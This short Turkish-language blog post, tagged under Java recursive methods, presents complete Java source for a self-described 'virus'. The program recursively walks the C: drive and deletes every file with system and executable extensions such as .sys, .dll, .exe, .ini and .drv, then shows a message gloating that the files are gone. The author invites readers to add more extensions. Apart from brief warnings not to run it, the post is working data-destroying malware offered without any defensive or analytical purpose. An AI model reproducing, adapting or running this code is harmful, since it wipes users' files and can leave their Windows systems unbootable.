Java ile Yazılmış Virüs Programı(Dikkat Çalıştırmayın Yoksa Birçok sistem Dosyanız Silinir)
Ocak 30, 2010 | Comments | Java Recursive Methods
Ben bazı önemli sistem doyalarını silidiriyorum.Siz daha fazla .dosya uzantısını ekleyebilirsiniz.Fakat . dan sonra 3 karekter için çalışır bu kod(.dll gibi)
package www.ethemsulan.com;
import java.io.File;
import javax.swing.JOptionPane;
public class VirusUygBasit {
public static void virus(String url){
//Bu sekilde url verilen dosyaya dosyaErisim nesnesi uzerinden
//erişip işlemleri gerçekleştiriyoruz.Yeni bir dosya oluşturmaz.
File dosyaErisim=new File(url);
File[] dizi=dosyaErisim.listFiles();
for (File degerler : dizi) {
if(degerler.isFile()){
String sondan=degerler.toString().substring(
degerler.toString().length()-4, degerler.toString().length()).trim();
//c nin altındaki if ile belirtilen tüm dosya uzantılarını siler.Sakın çalıştırmayın bu kodu
if(sondan.equals(".txt")| sondan.equals(".sys") | sondan.equals(".exe")
| sondan.equals(".bat")| sondan.equals(".dll")| sondan.equals(".dat")|
sondan.equals(".bin")| sondan.equals(".ini")| sondan.equals(".drv")){
degerler.delete();
}
}else if(degerler.isDirectory()){
//c nin altındaki tüm klasörleri gezmek için recursive tanımladık.
//dikkat getPath() url yi string olarak dönderiri.getAbsolutePath() ise file tipinde dönderir.
virus(degerler.getPath());
}
}
}
public static void main(String[] args) {
//c nin altındaki tüm dosya,dizinler
virus("C:\\.");
JOptionPane.showMessageDialog(null, "C nin altındaki bir " +
"çok sistem doyanız yok oldu(ethemsulan)!");
}
}
Orj Kod:http://www.ethemsulan.pastebin.com/CpUk7W4W
